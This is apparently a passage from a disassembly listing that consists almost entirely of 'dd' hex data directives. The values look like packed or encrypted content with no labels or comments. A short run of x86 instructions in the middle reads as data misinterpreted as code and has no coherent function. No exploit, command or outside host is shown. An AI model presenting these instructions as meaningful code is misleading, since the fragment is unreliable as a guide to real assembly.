		dd 0BFC000D2h, 4731E5F6h, 0AE0F12ABh, 6D9F3EDh,	0A0AD2Dh
		dd 0F77DB2DFh, 0D814CFDDh, 0A4D7202Ah, 0F3FE6700h, 0CA5E28E2h
		dd 7EC0A8E8h, 734C0EBBh, 0CE60B302h, 0C39BB26Eh, 4100F873h
		dd 0DB27D6ECh, 335314AEh, 9FA07DE2h, 0F915C199h, 64913049h
		dd 0BCD73924h, 2F808900h, 0C0BA5776h, 93C49960h, 3090960Bh
		dd 0CF085562h, 0E0ACA3DDh, 0A0ACE29Eh, 59E5F864h, 9C8300E7h
		dd 780CEEC9h, 5B005D57h, 93EF24A0h, 0CCEA3E47h,	0BD388A40h
		dd 0E6BA8B07h, 0BC4A965Ch, 20E7420Ch, 0EC7658FAh, 0AC4CAF09h
		dd 0FB5BA420h, 2B0089D8h, 9C8BF324h, 48B24B6Bh,	4A1070D4h
		dd 19D3B69h, 51968A67h,	0BC418097h, 0A8224CEFh,	0D1A6581Bh
		dd 1D52C00Ah, 100E845h,	0D4D8ABCDh, 6177F2FDh, 0C1523060h
		dd 0DE0020F4h, 4DEE8C00h, 92FEC71Ah, 7F5118E6h,	0F96F609Eh
		dd 4E827414h, 0E5007D9Ch, 101CBB23h, 10E0CE88h,	0F1801C6h
		dd 20AEAAB2h, 478AE907h, 4B07230h, 0C3DF575Fh, 36848079h
		dd 58CF167Ch, 1BEB007Ah, 6E015303h, 0DE88FDh, 9D75EAD7h
		dd 2203C17Ch, 3AACA1CBh, 9E000C0h, 0B1DC98F5h, 0AA615B51h
		dd 5D69DF48h, 278E046h,	75E2CDCBh, 0E8C015DCh, 0C860C1D2h
		dd 0BA9BE728h, 514C0431h, 8870A858h, 4A01387Ch,	75D86CAEh
		dd 389307F7h, 0B65C0147h, 20AC8AF3h, 1A2AC8DCh,	0E705741Ch
		dd 6B885D59h, 10C48C10h, 0BE8AD9F9h, 0F8D50CC0h, 0A901E7D8h
		dd 519DDC5Fh, 0CC203868h, 0BA860371h, 0B7D845E2h, 0DB693864h
		dd 0C979083h, 0D458F748h, 0C32A5160h, 4F38C877h, 50D6A075h
		dd 824DE8F8h, 0CC7F640Fh, 0F920D757h, 81C0354Ch, 6F30BA52h
		dd 1EA8A0A4h, 2FAE00ACh, 2899A650h, 0ADE55318h,	28510378h
		dd 0DC55C2h, 93B6B9BAh,	0CB7DFA9Ah, 0D9582F00h,	0A7E7F495h
		dd 0F9850ED4h, 409F89E5h, 49EE60C8h, 4AB0D0DFh,	247AB51Ch
		dd 461BB56h, 0D030D2B4h, 10E86017h, 2A4AE5D5h, 5DB67107h
		dd 0ECD04EEFh, 0CD1B7D4h, 0D55347B3h, 40ADC28h,	0E865C7D2h
		dd 0A02404A6h, 0D3016410h, 0EE6D5566h, 42C449F6h, 49004AF8h
		dd 2C1ADC85h, 0A40377h,	4FE63F5Eh, 59CE6091h, 4709D053h
		dd 7C8080ACh, 2C497BB1h, 0D3BA5CA0h, 970250B1h,	400D9394h
		dd 50B152B8h, 7B03AC3Ah, 3775F831h, 8728D13Bh, 7C01CB84h
		dd 409ABAD3h, 94034920h, 2ECDA3Bh, 0D491B986h, 0F4BCC093h
		dd 8400821Eh, 23E02EEBh, 0D2240E7Ch, 0D608FC9Ah, 0D5CC0EAFh
		dd 696D1CA1h, 5E73F0EAh, 4AEED8A0h, 8ABD0307h, 0D4C35D7Dh
		dd 866FD0C7h, 0C9E400EFh, 2CA46A28h, 0FC005ABBh, 4E64D49h
		dd 907994F3h, 0E5113F68h, 0E76E4203h, 93B3C303h, 9EE071CDh
		dd 99C464C8h, 0D0936C2Ch, 0F830528Eh, 0C895DE0h, 7FBA24Fh
		dd 0EA4C4C90h, 3E975866h, 81E16F7Ah, 6490B910h,	0A4302F61h
		dd 2D490384h, 6FBCB29Ch, 12516CC0h, 0E030C567h,	0D4CD7EB3h
		dd 0F7EDB890h, 809764D9h, 26840B0Dh, 8A884h, 99BA9425h
		dd 0B1BD02Dh, 8856D0A1h, 9D787AA9h, 0D8810058h,	8DAEA002h
		dd 5E284A60h, 0FE917A50h, 76461942h, 40B0F8D6h,	0AA52DBE4h
		dd 2F4C741h, 81E8A8FDh,	1450E936h, 92F52547h, 1497421Ch
		dd 85A42849h, 585D22B0h, 0EC2B20Fh, 875D24DCh, 2EC82CC8h
		dd 0C62052F9h, 7CF6413Ah, 1630DD4Ch, 407118Ch, 32318A08h
		dd 108277C9h, 9766513Ah, 3835A082h, 0E5006446h,	0C9AE29DCh
		dd 0A4A4645Dh, 3FECFA08h, 38607451h, 778B9A1h, 0F21D8CA1h
		dd 0F5189E8Dh, 14B88138h, 0EDB75E29h, 9BADB080h, 9FDC3981h
		dd 0A87CB92Ah, 0DBA91301h, 0CBAAABFEh, 1354AC30h, 53BA8C24h
		dd 0CE3804B4h, 0F310FDAh, 0E16F0FF5h, 0AFB186CFh, 0EDF3D4h
		dd 0E4067B50h, 718B5DDAh, 52044F00h, 0CDFF3F86h, 89DE0241h
		dd 25E44644h, 4A1C49Ah,	20D04E5Ch, 0D2166398h, 309728h
		dd 0A83D7852h, 7C58FCh,	8799D094h, 0EC9F74E7h, 575CD8C0h
		dd 3F96458Eh, 8C3D646Fh, 0B518521Ch, 244C048h, 2806FED4h
		dd 0A4B57633h, 0E6A0A838h, 0D90917D2h, 0FEEC20DEh, 0A44869D5h
		dd 782EC00Ch, 5F22551h,	45FA6E3Ah, 23890B2h, 8805CB7Eh
		dd 13A97623h, 56C9E400h, 0C32A3651h, 477902B8h,	743483C1h
		dd 0D5017DE0h, 8ADEDF66h, 6BC80233h, 7431E893h,	0C9A135C3h
		dd 19100879h, 0DB00742Ch, 9F263EFAh, 326A7252h,	3328508Ah
		dd 604EB0C2h, 0C42C2A58h, 3003274h, 0F5F039B3h,	61FB9A31h
		dd 0EF0373AFh, 5ECCC8DCh, 85705448h, 94C383E9h,	0D2080BE5h
		dd 0D818E06Ch, 45F4A17Fh, 0DBBFB61Eh, 99081C2Ch, 9BB40F0Ah
		dd 0E628E90Ch, 2C20DC4Bh, 12D57CDEh, 85F22FCFh,	0C8888470h
		dd 0A47D5290h, 8208089Bh, 51E8027Ah, 9848B64Ch,	0AF0061F0h
		dd 0EACBBAC2h, 62076CDh, 8451545Bh, 0C39D30A4h,	0AB17654h
		dd 0A34BD9FAh, 0E123EB4h, 0D068406Ch, 3AB6F903h, 0EDE3C600h
		dd 144594F2h, 895E002Ch, 7231DC8Bh, 5C78E978h, 1E9BFC07h
		dd 80A9A5F9h, 57D142A4h, 60EF60A3h, 75A40A7Bh, 0C4EBB92Ah
		dd 5BD4800h, 0C7BA90D1h, 0B8B1F7Eh, 0D8780712h,	36922071h
		dd 2604AD65h, 0CE17638h, 91802082h, 0F4306FC0h,	410924Bh
		dd 3347BDE0h, 0DAA4B49Eh, 7BEFD38h, 740DCF86h, 3B084A66h
		dd 0B298EAE8h, 0B88348DBh, 83EF2A3Fh, 7E753D87h, 0E5682402h
		dd 0FC212Ch, 0B3A08AB4h, 0CCA0EA99h, 920ADBE0h,	0C80A3FCFh
		dd 4319B690h, 717620E1h, 32608136h, 4B02B264h, 4B33DCF0h
		dd 13F425B6h, 27D801DEh, 30C98A89h, 46174BA8h, 0AC49234Eh
		dd 0F9E44B22h, 0B430AB53h, 1D72EC8h, 0DB187CE8h, 0FCA09657h
		dd 0F8EC80D1h, 0E83341Fh, 5844D3D6h, 4401B545h,	24F01F53h
		dd 0E6127D40h, 0CC81DF4Dh, 8425A90Fh, 15624040h, 0D8DD2E05h
		dd 49D9007Fh, 61E9523Dh, 8BE01970h, 4C240C3Ch, 8110610Ah
		dd 0AB804C7h, 9C3C871Fh, 0B8BB98Bh, 38860FC0h, 0FF1C1C5Fh
		dd 34DF1C77h, 515907F0h, 81E11489h, 833321C1h, 6400870Ch
		dd 8952565Ch, 84C281E2h, 22EA8332h, 0F3FC0F14h,	9F3E108Fh
		dd 0B573E1Ch, 80B951E7h, 81474C31h, 340B8E9h, 860F0C93h
		dd 0BF7C99A4h, 0B8D76800h, 59CF013Ah, 0CCD0DE83h, 5A224CD3h
		dd 64EE8037h, 6231352Ch, 93301004h, 0F0015B00h,	81D4C58Bh
		dd 685503C4h, 0A3047F4h, 0DEBE1C89h, 7E300E78h,	320EE81h
		dd 0E94E0F37h, 299EED31h, 0E5CC242Ch, 0A850F653h, 78F701B9h
		dd 6CF3285Eh, 0ACD97338h, 622EFE9Ch, 5DE82F92h,	0FE51D981h
		dd 0FC59C5FFh, 90AA3EB7h, 4EC6D10Fh, 0BD501CE0h, 0EF2B0121h
		dd 0C100E15Dh, 0E94302EBh, 2455679Ah, 8CE68E8Fh, 80073CCEh
		dd 0D3F6CAF3h, 0C05EEB53h, 396628C3h, 0E98CB252h, 0F73682A2h
		dd 0EF81D701h, 27423D0Bh, 1F0A1920h, 9F1DC90Dh,	6D80B9DFh
		dd 0E98CD7A9h, 36CE51ACh
		dd 1553C558h, 0DB8A544h, 74FFA058h, 5F3904E6h, 0E958D08Fh
		dd 9AD01C31h, 6C53BE56h, 89C8E9F3h, 3D2D9453h, 79AA56BFh
		dd 1178483h, 0BA525EF5h, 41AD1865h, 496FBCh, 48504059h
		dd 58004EFFh, 2BC0B205h, 0ED0081F9h, 109043EFh,	5050C501h
		dd 35E908B8h, 643E9B77h, 3189070Dh, 57092CFAh, 5C2FBF02h
		dd 834F4737h, 9778C490h, 0D1E902CFh, 47D493Ah, 14BAF7ABh
		dd 29C0E255h, 5C6AE9EFh, 0D9020DA1h, 0E539203Eh, 5B794203h
		dd 3DDF763h, 0AB7D0CB4h, 0F0004D54h, 493A2AF5h,	145AD531h
		dd 568CFDE9h, 3EFC10Ah,	15013E2h, 0FB0113B3h, 80AA215Fh
		dd 0EBD14B6Dh, 751EC381h, 1C7013Dh, 0EC835BDDh,	0C6C2104h
		dd 0D798E9DBh, 0AD66BC80h, 0F52573Ah, 77033BAh,	81B1DAF7h
		dd 8F20B5EAh, 9F6D3783h, 0E951E062h, 3AC2F9B8h,	80ED8857h
		dd 0B16EFAF4h, 1AA9015h, 0B41964F6h, 835EF201h,	2105A81Eh
		dd 75C6F84Ah, 29A1301Fh, 2C2EED2Ah, 66206E90h, 5D543E9Ah
		dd 21A6C5A9h, 0C0871806h, 0F16EE7E9h, 0CD0AA47Eh, 2BEB8290h
		dd 148B2466h, 291FFh, 6562BB53h, 0CF71178h, 7185E9DBh
		dd 801A0F1Ah, 4040EC6Ch, 3AF24240h, 8989336h, 0BBBE2229h
		dd 71C54718h, 3B2709B8h, 0F63D678Dh, 0C4585F09h, 535E6B02h
		dd 4DB9C282h, 683090Fh,	7AE8132h, 0C867F20h, 0F29A9D01h
		dd 17040AA9h, 1516126Ch, 0FE10DE13h, 0D750739Ah, 9541AEFFh
		dd 0E0C9B5F4h, 0F5904EBh, 0C18DC0B6h, 24DA68BFh, 879A89D4h
		dd 8ECC812Ah, 78E54720h, 6F200C05h, 0C0545067h,	0EBF5F763h
		dd 1E06E14Fh, 65A6C088h, 0FF83BF37h, 0AC2813D1h, 3E840466h
		dd 4C681407h, 511012FBh, 0DCB600Ch, 5DEA2C01h, 8852C412h
		dd 119B5A36h, 0AFCF3F26h, 8931F968h, 74541B60h,	0A6E29B8Bh
		dd 620E2422h, 724259CBh, 889E090Ch, 985D5640h, 0BAD46194h
		dd 515A810Fh, 20D0F7B1h, 1E7F9DB0h, 0F38B5509h,	0B1228389h
		dd 0EFB6E861h, 1FCE3180h, 7457836h, 0E521C693h,	8853F903h
		dd 5BF890F7h, 0CD89065Ah, 72EE0159h, 3048E130h,	0F005EDC0h
		dd 5F7849C5h, 6F34EC21h, 6809B5CAh, 8AA35347h, 36422EB0h
		dd 0C42F4D10h, 0B60632C5h, 0B40E96F9h, 0A104EEC0h, 37B151DEh
		dd 0E21E9ECh, 0FE59CE20h, 0C13D2679h, 5EFE43F0h, 0F8044101h
		dd 2803B753h, 0D886D0B9h, 0AB0F9B68h, 0FEB6A3A1h, 2F371C82h
		dd 0E6E45607h, 4A448784h, 6601800Dh, 0E44C16B9h, 13D46732h
		dd 1AC82656h, 330A9C1Fh, 483ACCCBh, 63E04D06h, 64085C0Dh
		dd 40202608h, 0C580D586h, 7DEF9067h, 0E1F935AFh, 660D601Ah
		dd 8BE6F329h, 0C0FD3449h, 68C0B70Fh, 0E9CEA9AFh, 0A8E7CC5h
		dd 83E6465Fh, 0FF824363h, 0DBF1A041h, 88DEE10h,	8B0F4B03h
		dd 0E018FA1h, 9D685157h, 0C0606A01h, 4F0C6447h,	2CCAC05Ah
		dd 39416CB6h, 0A554F035h, 2EC4C194h, 0FD444D1Eh, 10C3335Fh
		dd 0D066631h, 8481C85Ch, 0F6B66156h, 839FBF2Fh,	0BF5E5720h
		dd 0C140CC3Ch, 0B007E831h, 35000ED7h, 8D024EFAh, 58C7893Fh
		dd 2654424Fh, 0FB55AD6h, 0B74E9808h, 95E629A5h,	682DC006h
		dd 7913D45h, 53E29EB9h,	953140C0h, 5DE95B27h, 8100480Bh
		dd 14679AF2h, 41EF527Fh, 3154EAC5h, 0C8D0AC9Ah,	0C4648950h
		dd 0D3F86ABFh, 3087EDE0h, 0E82806C5h, 108DCFA1h, 0F2FA885Ah
		dd 20FCBAB5h, 2A340C33h, 0D01E2396h, 0A95B570Bh, 2420459h
		dd 83900A5Fh, 0CAD59DBBh, 8132FBBh, 878904EBh, 894F911Ch
		dd 3A386188h, 0E6C8210Eh, 5ED4A71h, 0FD31E5EFh,	0AD00C112h
		dd 7037DD30h, 0F807050h, 5165E384h, 4061630h, 317A4844h
		dd 700C84FEh, 393DE987h, 9AC38380h, 291507CBh, 0F3556C38h
		dd 0E73B2B75h, 6819F3F7h, 0E7D65917h, 54C7F434h, 581CAC42h
		dd 75D2062Eh, 32CD913Eh, 98A5BC13h, 38834357h, 418EB988h
		dd 231F3A68h, 0FDBA0000h, 2906331Eh, 215A13D3h,	73D414D8h
		dd 694C4094h, 40B4EB2Eh, 0DA1FE7E6h, 860F3B06h,	226F3430h
		dd 0EF7E0AC4h, 0C27642Eh, 0F1C3F700h, 5801B5DBh, 0A71048F9h
		dd 0CA881793h, 1FCE5608h, 5EED4A5Ch, 0F59938Ah,	4B44A763h
		dd 0F1D9D146h, 0C9EE61C6h, 0B45000E4h, 7FECF8DFh, 0C3F43FA3h
		dd 29CC11Ch, 6FF8E9E1h,	5C189A59h, 0B35A54EFh, 1680465h
		dd 0C22B277h, 101B1DE9h, 82307BBh, 0C0BE7174h, 29A5707Dh
		dd 78E9DE0Ah, 0EC86EC3Eh, 0E93B6602h, 129E8A65h, 0A08CEC5Eh
		dd 0CE12AECh, 24AD9413h, 150C364Eh, 7D6F72Ah, 24135A55h
		dd 8916507Fh, 0C03205E0h, 4C3A66BAh, 0C9106ED0h, 9D5B282Eh
		dd 0EF392398h, 39CF9DC7h, 2B8ACCBAh, 0C001EDFAh, 0C2FE05EAh
		dd 60A7FD70h, 0B850408Ah, 0A228584Eh, 573FE20h,	0E903E00Ah
		dd 5B85A9B2h, 0A400D101h, 0E506A5F1h, 0F02D3A74h, 8A76BA9Fh
		dd 50705C8h, 5610E2E9h,	1C6521EAh, 4EC704C8h, 0BBB00997h
		dd 0B1224968h, 0B05083A7h, 3081B186h, 582974C1h, 8F88B093h
		dd 0F9C245Eh, 7FCF572Dh, 0B2291364h, 6FBF0065h,	0C10D1556h
		dd 10276EFh, 2EE02CBEh,	86F7299Dh, 0D886E95Bh, 94587094h
		dd 5F4808D0h, 2598BB01h, 2FE83E1Dh, 396B9ADAh, 0EA9EFEC2h
		dd 0CF07CC0Fh, 0E307C116h, 56DBF708h, 0FACAB2h,	0B94CC2BDh
		dd 64D533Fh, 3EDC1DDh, 0F581030Ah, 42F85E0Dh, 0BE96B0B7h
		dd 2904BB3Ch, 0CF215DE9h, 2B8AD9C4h, 67EE110h, 4F72880Fh
		dd 0F48E3517h, 5315286Eh, 6787BB00h, 0D3F70776h, 43F30681h
		dd 0AADB0DF9h, 0A484E92Eh, 16EE83BEh, 326DA048h, 0F743010Ch
		dd 54267A41h, 9A17E287h, 4B494E0Ch, 6C463114h, 2C2206h
		dd 72C122EAh, 2458C289h, 123D631h, 126BA0CEh, 0CD0C811Eh
		dd 46085178h, 724B8680h, 5E9C2A5h, 0F60434EBh, 0E6C0BA0Bh
		dd 0C684A204h, 124009EDh, 0D654E7E9h, 0A9828E6h, 719EB27h
		dd 217F899Bh, 0C9DAE92Bh, 759ECF50h, 0B86D1808h, 0E8310B9Ah
		dd 49048B4Bh, 0C3F35BC4h, 80555C84h, 0DC621627h, 0F5893100h
		dd 8E5C15Eh, 1DCD0781h,	60325714h, 74784DC5h, 2394067Fh
		dd 0A58BD08h, 32E9F328h, 0C0F7808Dh, 0C1B9E69Ch, 0F528C4E6h
		dd 59EEC05Ah, 1202B2A1h, 25A95066h, 0EE051BE9h,	0E0C27455h
		dd 0E148E88h, 48E20D11h, 0E89918D6h, 586A686Ah,	57C12962h
		dd 14582E9h, 0A446F75Bh, 0D1DB0E08h, 1B4181E3h,	201AFC64h
		dd 44071C20h, 28E910B8h, 595A39Bh, 0CC9CCB41h, 495048C6h
		dd 2858490Fh, 48160A10h, 133648D3h, 0A1234E5Fh,	0DAF6B04h
		dd 16948A3Ch, 582DE962h, 7468135Bh, 87EFC87Dh, 0BA20339Ah
		dd 215C0CE5h, 89E98BC1h, 37F1E75Ch, 6362ED2Bh, 0E1B4EB6Bh
		dd 15FC8103h, 889A12E7h, 0EA05C231h, 0C4940742h, 211B2225h
		dd 191EFEE4h, 43A37697h, 0ED2CAC4Ah, 847A73C1h,	59C83110h
		dd 751F5184h, 1C28558Ch, 285DE0B8h, 41A92784h, 24B93966h
		dd 0F24AECA2h, 0D4EF4614h, 255E8BB1h, 0E6405C35h, 63750CB8h
		dd 6FEAA113h, 70B459h, 54FB67FFh, 4A8A8A8Bh, 0D1E2C970h
		dd 4F217390h, 0D22C1C68h, 2E68686Ch, 0CB4247B1h, 0DA026912h
		dd 11E06D11h, 0ABA3E6C1h, 0B13863C8h, 19D135Ch,	0F2A52167h
		dd 85254AE9h, 0C1EFF821h, 4E290FADh, 530B969Eh,	2B8FC118h
		dd 584C321Ch, 14201507h, 0CD0C17C9h, 3CCB2521h,	0D247D49h
		dd 34FA4A13h, 0D4F38486h, 503BB3FFh, 2504A5EBh,	0EEC15F99h
		dd 0F2E6E880h, 0A12EB030h, 0BD640B10h, 6A68BAF8h, 962E56E3h
		dd 49125334h, 3B485CE7h
		dd 18C0F310h, 2F74EA81h, 2D0A7B84h, 0C7224A1Ah,	29039156h
		dd 1FB1EBDFh, 0B9FA099Bh, 0F1243AFh, 7590E06Ah,	2181C6B9h
		dd 0EB04A038h, 0B006291Ch, 9A59E951h, 0E5307550h, 0AAC9EF37h
		dd 48132C2Ch, 0CAC001E3h, 7029CCD4h, 0F3961DC9h, 530F0501h
		dd 0C7F07A44h, 9033E258h, 6316C0Ah, 64285C0Dh, 0C4F6CC88h
		dd 38C6E1C0h, 267A6071h, 20E3DE01h, 0EAE92608h,	5F9F41h
		dd 0F27C7BF7h, 8D150F17h, 18E45186h, 0C50B01F1h, 66588002h
		dd 9CC8851Fh, 42C3FDCCh, 24BD0055h, 0BB1DD20Eh,	0CE032FF2h
		dd 5DEB3125h, 1C21D8BAh, 0B8DAF038h, 28284A39h,	63450584h
		dd 79BF8451h, 244281E4h, 5BE7C1h, 0F4E638C7h, 5E9489EBh
		dd 256BB008h, 62E6E80Ah, 0EC660D0h, 559E58F0h, 7E3C001h
		dd 28D4B551h, 805902EBh, 0D98857F3h, 47B3D5E0h,	0DE29E91Ah
		dd 0F1FB912Eh, 9E598674h, 0C10F96DAh, 70D829B0h, 4682427Dh
		dd 3050188h, 29061E0Eh,	459D43C8h, 0B35AE737h, 6B8702A2h
		dd 7286FD46h, 0D0F71F08h, 64EA1295h, 95EFE295h,	7EF1835h
		dd 0D3ED914Dh, 4C1C8AB2h, 98275AF4h, 886D02C9h,	5A6D921h
		dd 803A200Ah, 124FD38Ch, 0DE8C065Ch, 2898B5F9h,	7CAC4505h
		dd 4FFB5E11h, 5834BE00h, 268F5036h, 10232047h, 0F97E505Fh
		dd 6CED021Eh, 40FB80DAh, 0F203AD1h, 0F901727Fh,	7908A81Fh
		dd 0B06998Bh, 0E8C8EC6Bh, 578064BAh, 1695EC52h,	91388670h
		dd 9330CBDFh, 3B95ED99h, 77ECBA8Dh, 1B07926Dh, 4D9F7F1h
		dd 0C6377602h, 4089D7B1h, 0BC3B9D5h, 311A3F2Fh,	6FE938E0h
		dd 19031719h, 847C1A9h,	0E4157DD2h, 1BBE0EE9h, 348170B0h
		dd 20CC5629h, 54E75BB5h, 381BA1DCh, 5C06B1EAh, 521AC804h
		dd 0FE20B29Ah, 9B5198F5h, 7F38BA75h, 0D852C81Bh, 0D4B3F4Bh
		dd 0C7FE81EFh, 33C10E53h, 62B6FE40h, 1A3A4D5Dh,	0E164445Bh
		dd 0F01D1E5Ah, 0CD1235CAh, 5E85E39Fh, 2DC023D2h, 4C711058h
		dd 8840817Bh, 84590CC7h, 357CEFD3h, 559259B9h, 0AE7B2C09h
		dd 2FDAD4B6h, 324F809Eh, 6201247Ch, 0D7F60930h,	0C0E0688h
		dd 0BE5146E9h, 999BC401h, 5EF22974h, 0B2DD7CDh,	93851126h
		dd 8CFDC521h, 0D968F221h, 9208156Ch, 0EAC0044Eh, 21908206h
		dd 0B3097DD9h, 0BF909D1h, 2D3AE05Fh, 6E0C1DECh,	56714222h
		dd 9D5802FCh, 64200783h, 30B893EBh, 0F5815D0Dh,	0ED95E603h
		dd 0ECA4E9BBh, 9D8102ACh, 69185866h, 0C16410BCh, 879A5A27h
		dd 0B4323B41h, 0A80BC437h, 1E12ED6h, 0C3285BD8h, 6F5A7041h
		dd 39456800h, 0D1B97954h, 0BF167360h, 502E7B0Eh, 3CCDA38h
		dd 0E9705A0Ch, 7A4CF2AFh, 0F38712D6h, 1056EC01h, 0D5E878A2h
		dd 6CE50381h, 683F340Ah, 301B7B48h, 0D587E42Ch,	2C06D44Ah
		dd 46A9EB07h, 4C5F5F7h,	1038674Bh, 0A9C02096h, 0CF32540Fh
		dd 0CD4C5451h, 6F372E68h, 0A66A30h, 48916A99h, 4EB238E9h
		dd 0D1425E94h, 6697A07h, 5A4025A4h, 75207D8Bh, 85D9F374h
		dd 7E0FC834h, 0C406F82h, 6D8CC63Dh, 719852DBh, 5A611F64h
		dd 17932AC0h, 1EE09094h, 0F4082454h, 0BDFA89D7h, 6856850Fh
		dd 0B5CD607Dh, 6A413678h, 6429276h, 0CDAB8731h,	4A02976h
		dd 2E6478F9h, 79593682h, 96E99E07h, 0EC93292Bh,	1FA2319Bh
		dd 29174052h, 72D59CFh,	80E7D660h, 0BE0BF281h, 8EA36590h
		dd 0B509306Dh, 258566FCh, 4D8C40BBh, 0D1F7CD87h, 5D515517h
		dd 7EED6000h, 2C2D6D3Dh, 11DFEE01h, 4FF60511h, 821D7F3Fh
		dd 0B72F7B82h, 5E2A6136h, 0D05C8774h, 0E6176ACFh, 59F94EBFh
		dd 962CD003h, 0AF904CFAh, 25936E9h, 0A49992E9h,	0E09312B9h
		dd 50C10B55h, 0B78F1FC8h, 0F3EBCC60h, 0B0A5A888h, 12EB9A9Fh
		dd 304BAB68h, 71CFE934h, 0D12C14B2h, 21676E5h, 454C8103h
		dd 830FF035h, 8183BC2Bh, 6C3E44F5h, 452E2007h, 0C05B5380h
		dd 0A538DD32h, 92C95929h, 0BF50103Ch, 7653F644h, 7F6C90D1h
		dd 740A1351h, 0F7A64021h, 4D30229Ah, 14CA294Dh,	8452241Bh
		dd 9AA351ADh, 410EE944h, 21F7F9FEh, 91788917h, 9A53642Bh
		db 0A0h, 12h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	[ebx], dl
		xchg	eax, edi
		push	48412895h
		sub	dword ptr [ebx], 0Dh
		xor	ecx, 0CDDC1593h
		pop	ecx
		and	al, 57h
		push	ecx
		jmp	far ptr	0E973h:0EA696000h
; ---------------------------------------------------------------------------
		db 2Bh,	5Fh, 3Bh
		dd 82B6AC77h, 6A9800Dh,	0BA008677h, 184D0185h, 9A2DB5E9h
		dd 0F64F0FAAh, 0BB7C986h, 6AB0553Ch, 122674BAh,	30CAD3Ch
		dd 0D25C3275h, 7F46A3B7h, 8D02BD30h, 0D2012C6h,	0CE010365h
		dd 581164F8h, 106A8596h, 2180B920h, 3092D801h, 54565B12h
		dd 183D172h, 6C78F868h,	11C7C43Ch, 0FB534498h, 92968F60h
		dd 0C1592C00h, 850F03E0h, 0A300056Ah, 0D3B2F3F1h, 25CF8960h
		dd 87816EE9h, 0BD5DCD8Ah, 0E1A8708Ah, 552AEE87h, 1725F7F7h
		dd 0F0E9E476h, 2423965Bh, 57579E32h, 0AC1DC461h, 6C01C481h
		dd 0D29F8ED1h, 0EB81EABh, 0C64CF031h, 554C5708h, 24424F74h
		dd 69BEA7E9h, 0D730B686h, 68870C34h, 252174D1h,	0DFF72BC4h
		dd 0CC2B98C1h, 99005302h, 0C80A295h, 8F5AD389h,	840230FEh
		dd 5F3F3813h, 0E9BA9058h, 0CDF76CD0h, 87336812h, 49D26570h
		dd 2DD6A2B7h, 0C9723C7Bh, 6A560055h, 0A5DCE15h,	18E9C589h
		dd 1758BFAAh, 58128A93h, 10098BB2h, 0B4BD9FC5h,	0C08358D3h
		dd 5C80E896h, 6A2CD828h, 0F8B30053h, 0B4506651h, 0E5488890h
		dd 0B35C940Fh, 5C02B283h, 0E95C02A5h, 345644B3h, 1C60751h
		dd 3080C9FEh, 20F7C0CDh, 0DE4A4F8Ah, 663AC29Dh,	299D281Dh
		dd 0B741E81Dh, 0F8283FBCh, 88A4DC27h, 0D9CC81F5h, 0BCA08017h
		dd 0E96E3E09h, 225D6BD7h, 20061C8Dh, 8C9CE570h,	1E2E01BAh
		dd 0D8891B40h, 98030028h, 13FB804h, 76C300B5h, 0F73A8C4Eh
		dd 0ABE9D008h, 0F4301F8h, 81673E8Ah, 0EA2CB83h,	8EF06323h
		dd 9C9EE2h, 8E6C15Bh, 0D56072E9h, 25EEB938h, 69185939h
		dd 2D41617Dh, 0CCF4EB80h, 0BDB43EC3h, 0B50181E8h, 69C9E94Eh
		dd 0C7041125h, 0A8F46FB8h, 48E9A008h, 49BA3Fh, 64CE5B2Ah
		dd 95090558h, 52C13B02h, 5EC68956h, 0DBE9041Ah,	0D28D916Ah
		dd 9274FE42h, 0B8E05B29h, 307AB051h, 0E923D309h, 21C16FC8h
		dd 2E7738E7h, 9EFD0FC5h, 1F0FEFA6h, 0C0CF1C0Eh,	565FFD89h
		dd 741B84BEh, 0A8CC3C3Dh, 0E4780167h, 82D1B0F5h, 0E56E4008h
		dd 0AF5C1F9Eh, 10CD4149h, 826F7C30h, 0CE023D26h, 0F5F6E879h
		dd 2361F5E1h, 0FA24A042h, 4BE20965h, 4F0926F2h,	5DEDD949h
		dd 0E61AF89Fh, 0F78BCF96h, 0F6779489h, 0B7D631Dh, 2C00BBEBh
		dd 3E76C9BFh, 0CCF8114h, 154269C3h, 1A138BEEh, 8F121318h
		dd 0FB895145h, 6CB136C4h, 1E4AAD20h, 0E417EE95h, 0BEA54E83h
		dd 71DC4726h, 5D1B2252h, 5E4BD8F0h, 49E40E8Dh, 0D79E9508h
		dd 5501F84Bh, 0C2885B5Ah, 6D7F61EEh, 29C5D581h,	0D17B961Dh
		dd 198644CDh, 6863FC08h, 0A24CDFh, 28557EB9h, 0EAC9810Bh
		dd 2672E75h, 0BC2834A7h, 26423B5Bh, 51863C1Eh, 81195C68h
		dd 8000C393h, 0BCF071EEh, 0A101F44Ch, 0AC345455h, 0EA5B9B5Dh
		dd 0C368C179h, 43D76671h, 4DA539D3h, 0B96250CEh, 1AC92BB2h
		dd 5AE5A34h, 0FB6A80E3h, 0BC0DC41Eh, 9DCC4E57h,	3ED36966h
		dd 0BAF5AA02h, 3FBC5904h, 300E68B0h, 4F618ABCh,	0F7F4DD1Ah
		dd 0E9460CD6h, 31202A8Fh, 0AA5FF828h, 99300104h, 69804968h
		dd 25EE71E9h, 9A09FAAEh, 5B12EC51h, 0DB37941Eh,	11F50A0Bh
		dd 197A424h, 0CE68BC02h, 65E4741Dh, 818D4075h, 0B7419EF2h
		dd 25010527h, 0BF665A3Ah, 0E0442C5Eh, 0BE666066h, 0FBE92B75h
		dd 0A6BE5EB5h, 0B0072087h, 56F92E4h, 99B168B0h,	0F21DC228h
		dd 0AD986978h, 0A0BB4120h, 3E7C8ED8h, 33775D4Dh, 0ED9D505Bh
		dd 8A7D7EE9h, 0F019EA24h, 0B05D5300h, 6BC328F6h, 1F992EE9h
		dd 5AD6236h, 20112EF1h,	82CA61C2h, 7F2A99h, 77FFE2D1h
		dd 0FACA60B1h, 5C0287C4h, 16973C89h, 6168FEB0h,	5260137Ch
		dd 0FA2E0058h, 0C157FB19h, 8107E200h, 18713DCAh, 2EC0A034h
		dd 77CBFF54h, 9A760218h, 0E8F0E945h, 80B13F3h, 4528B0C3h
		dd 52DE1E5Bh, 4FF9248Bh, 0E2097E64h, 0E9267FFAh, 469273B0h
		dd 2FB13714h, 0DBE722FCh, 8142056Dh, 6A0652h, 9803EAC1h
		dd 4C3F20CEh, 51F78A19h, 0F3CA0165h, 75B800C3h,	810E4176h
		dd 8F03CDBAh, 143BE4Dh,	0E9107C44h, 8D2C0C49h, 555BB4D3h
		dd 10C64858h, 0FF48B94Fh, 4067FD07h, 90EFB473h,	45D22DCCh
		dd 68156AF6h, 787648D0h, 0C2BE59FCh, 0FBC8BD45h, 2D9B455h
